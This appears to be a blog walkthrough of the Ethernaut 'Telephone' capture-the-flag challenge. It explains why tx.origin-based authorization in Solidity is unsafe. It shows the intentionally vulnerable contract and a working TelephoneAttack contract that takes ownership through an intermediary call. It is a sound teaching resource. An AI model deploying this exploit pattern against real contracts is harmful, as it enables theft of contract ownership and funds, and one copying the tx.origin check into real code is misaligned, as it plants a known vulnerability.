Here is a walkthrough for Ethernaut challenge #4 - Telephone. This challenge makes us aware of the consequences of misunderstanding the difference between tx.origin and msg.sender.
Requirements
For the following contract given:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
We need to claim ownership.
Solution
Solidity documentation on tx.origin shows the following warning:
Never use tx.origin for authorization.
So, why is that? Let's take a look at the following chain of calls:
Basically, the attacker's code can be executed on behalf of the owner if there a tx.origin check and if a malicious actor will be able to trick the owner to initiate a transaction. In our case it's enough to create a mediator smart contract between owner and Telephone.
Let's prepare the code. Having considered changeOwner(), we can see that it is suitable for our purposes. So, we just have to call it from another contract:
Here is a code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ITelephone {
function changeOwner(address _owner) external;
}
contract TelephoneAttack {
address telephoneAddress;
address newOwner;
constructor(address _telephoneContract) {
telephoneAddress = _telephoneContract;
newOwner = msg.sender;
}
function attack() public {
ITelephone(telephoneAddress).changeOwner(newOwner);
}
}
Calling the attack() method does the trick. Ownership changed!
Summary
- Don't use
tx.originto check the ownership. - Use
msg.senderif a caller validation is required.
If you like this article, feel free to subscribe to my social media accounts:

Top comments (0)